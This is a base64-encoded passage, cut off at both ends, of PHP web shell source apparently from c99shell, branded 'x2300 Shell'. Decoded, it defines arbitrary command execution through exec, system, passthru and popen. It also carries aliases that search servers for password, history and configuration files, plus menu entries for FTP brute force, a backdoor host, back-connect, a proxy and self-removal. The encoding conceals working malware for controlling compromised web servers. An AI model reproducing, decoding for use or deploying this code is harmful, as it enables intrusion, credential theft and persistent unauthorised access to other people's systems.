JtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0yIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwKICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCgogIGFycmF5KCJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwKICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikKKTsKfQplbHNlCnsKJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIikKKTsKfQoKJHNlc3NfY29va2llID0gImM5OXNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lCgokdXNlZnNidWZmID0gVFJVRTsgLy9CdWZmZXItZnVuY3Rpb24KJGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcKCi8vUXVpY2sgbGF1bmNoCiRxdWlja2xhdW5jaCA9IGFycmF5KAphcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsKSwKYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YmFja1wiIGFsdD1cIkJhY2tcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmJhY2soMSkiKSwKYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksCmFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksCmFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXJlZnJlc2hcIiBhbHQ9XCJSZWZyZXNoXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjE3XCIgYm9yZGVyPVwiMFwiPiIsIiIpLAphcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksCmFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwKYXJyYXkoIjxicj48Y2VudGVyPjxiPltFbnVtZXJhdGVdPC9iPiIsJGVudW1lcmF0ZSksCmFycmF5KCI8Yj5bRW5jb2Rlcl08L2I+Iiwkc3VybC4iYWN0PWVuY29kZXImZD0lZCIpLAphcnJheSgiPGI+W1Rvb2xzXTwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCIpLAphcnJheSgiPGI+W1Byb2MuXTwvYj4iLCRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9JWQiKSwKYXJyYXkoIjxiPltGVFAgQnJ1dGVdPC9iPiIsJHN1cmwuImFjdD1mdHBxdWlja2JydXRlJmQ9JWQiKSwKYXJyYXkoIjxiPltTZWMuXTwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLAphcnJheSgiPGI+W1NRTF08L2I+Iiwkc3VybC4iYWN0PXNxbCZkPSVkIiksCmFycmF5KCI8Yj5bUEhQLUNvZGVdPC9iPiIsJHN1cmwuImFjdD1ldmFsJmQ9JWQiKSwKYXJyYXkoIjxiPltCYWNrZG9vciBIb3N0XTwvYj4iLCRzdXJsLiJhY3Q9c2hiZCIpLAphcnJheSgiPGI+W0JhY2stQ29ubmVjdGlvbl08L2I+Iiwkc3VybC4iYWN0PWJhY2tjIiksCmFycmF5KCI8Yj5bbWlsdzBybSBpdCFdPC9iPiIsJG1pbGxpbmspLAphcnJheSgiPGI+W1BIUC1Qcm94eV08L2I+IiwkcGhwcm94KSwKYXJyYXkoIjxiPltTZWxmIHJlbW92ZV08L2I+PC9jZW50ZXI+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKQopOwoKLy9IaWdobGlnaHQtY29kZSBjb2xvcnMKJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOwokaGlnaGxpZ2h0X2JnID0gIiNGRkZGRkYiOwokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7CiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsKJGhpZ2hsaWdodF9odG1sID0gIiMxMzAwRkYiOwokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7CiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOwoKQCRmID0gJF9SRVFVRVNUWyJmIl07CkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOwoKLy9FTkQgQ09ORklHVVJBVElPTgoKCi8vIFwvTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nXC8KLypmdW5jdGlvbiBleCgkY2ZlKQp7CiRyZXMgPSAnJzsKaWYgKCFlbXB0eSgkY2ZlKSkKewogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQogICB7CiAgICBAZXhlYygkY2ZlLCRyZXMpOwogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsKICAgfQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkKICAgewogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICB9CiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpCiAgIHsKICAgIEBvYl9zdGFydCgpOwogICAgQHN5c3RlbSgkY2ZlKTsKICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgIH0KICBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKQogICB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBwYXNzdGhydSgkY2ZlKTsKICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgIH0KICBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpCiAgewogICAkcmVzID0gIiI7CiAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0KICAgQHBjbG9zZSgkZik7CiAgfQp9CnJldHVybiAkcmVzOwp9Ki8KLypmdW5jdGlvbiB3aGljaCgkcHIpCnsKJHBhdGggPSBleCgid2hpY2ggJHByIik7CmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkKewokd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBlcnIoMCk7CmlmKCR3X2ZpbGUpCnsKQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKQGZjbG9zZSgkd19maWxlKTsKfQp9Ki8KLypmdW5jdGlvbiBlcnIoJG4sJHR4dD0nJykKewplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7ICAgICAKZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07CmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0KZWNobyAnPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4nOwpyZXR1cm4gbnVsbDsKfSovCkBzZXRfdGltZV9saW1pdCgwKTsKJHRtcCA9IGFycmF5KCk7CmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsKaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2xvY3VzN3MuY29tL1wiPngyMzAwIFNoZWxsPC9hPjogQWNjZXNzIERlbmllZCAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93Iik7fQppZiAoIWVtcHR5KCRsb2dpbikpCnsKaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30KaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkKewogIGlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlzaGVsbCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7CiAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7CiAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7Cn0KfQppZiAoJGFjdCAhPSAiaW1nIikKewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQp7CiRkaXNhYmxlZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiIiwkZGlzYWJsZWZ1bmMpOwokZGlzYWJsZWZ1bmMgPSBleHBsb2RlKCIsIiwkZGlzYWJsZWZ1bmMpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X2J1ZmZfcHJlcGFyZSIpKQp7CmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQp7Cmdsb2JhbCAkc2Vzc19kYXRhOwpnbG9iYWwgJGFjdDsKZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30KZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0pOwokc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7CnNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsKc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7CmlmICgkYWN0ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19CmVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQp9Cn0KYzk5X2J1ZmZfcHJlcGFyZSgpOwoKaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQp7CmZ1bmN0aW9uIGM5OV9zZXNzX3B1dCgkZGF0YSkKewpnbG9iYWwgJHNlc3NfY29va2llOwpnbG9iYWwgJHNlc3NfZGF0YTsKYzk5X2J1ZmZfcHJlcGFyZSgpOwokc2Vzc19kYXRhID0gJGRhdGE7CiRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7Cn0KfQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpCnsKaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQp9CmlmICgkc29ydF9zYXZlKQp7CmlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwkc29ydCk7fQppZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CmlmIChzdHJsZW4oJGNvbnRlbnQpID4gJGxlbikKewogICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOwogIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsKfQplbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQp7CmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkKewppZiAoIWlzX251bWVyaWMoJHNpemUpKSB7cmV0dXJuIEZBTFNFO30KZWxzZQp7CiAgaWYgKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQqMTAwKS8xMDAgLiIgR0IiO30KICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30KICBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9CiAgcmV0dXJuICRzaXplOwp9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9kaXIiKSkKewpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkKewokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KJGggPSBvcGVuZGlyKCRkKTsKd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCnsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9Cn0KY2xvc2VkaXIoJGgpOwpyZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X29iaiIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQp7CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwppZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQppZiAoaXNfZGlyKCRkKSkKewogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKfQplbHNlaWYgKGlzX2ZpbGUoJGQpKSB7cmV0dXJuIGNvcHkoJGQsJHQpO30KZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiRoID0gb3BlbmRpcigkZCk7CmlmICghaXNfZGlyKCR0KSkge21rZGlyKCR0KTt9CndoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQp7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICAkcmV0ID0gVFJVRTsKICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30KICAgZWxzZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9Cn0KY2xvc2VkaXIoJGgpOwpyZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KQp7CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwppZiAoaXNfZGlyKCRkKSkKewogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsKfQplbHNlaWYgKGlzX2ZpbGUoJGQpKQp7CiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9CiAgZWxzZSB7dW5saW5rKCR0KTsgcmV0dXJuIEZBTFNFO30KfQplbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpCnsKZnVuY3Rpb24gZnNfcm1kaXIoJGQpCnsKJGggPSBvcGVuZGlyKCRkKTsKd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCnsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30KICB9Cn0KY2xvc2VkaXIoJGgpOwpybWRpcigkZCk7CnJldHVybiAhaXNfZGlyKCRkKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQp7CmZ1bmN0aW9uIGZzX3Jtb2JqKCRvKQp7CiRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKaWYgKGlzX2RpcigkbykpCnsKICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX3JtZGlyKCRvKTsKfQplbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQplbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c2hlbGxleGVjIikpCnsKZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkKewpnbG9iYWwgJGRpc2FibGVmdW5jOwokcmVzdWx0ID0gIiI7CmlmICghZW1wdHkoJGNtZCkpCnsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcCk7CiAgfQp9CnJldHVybiAkcmVzdWx0Owp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkge2Z1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zIikpCnsKZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkKewppZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQplbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30KZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9CmVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSA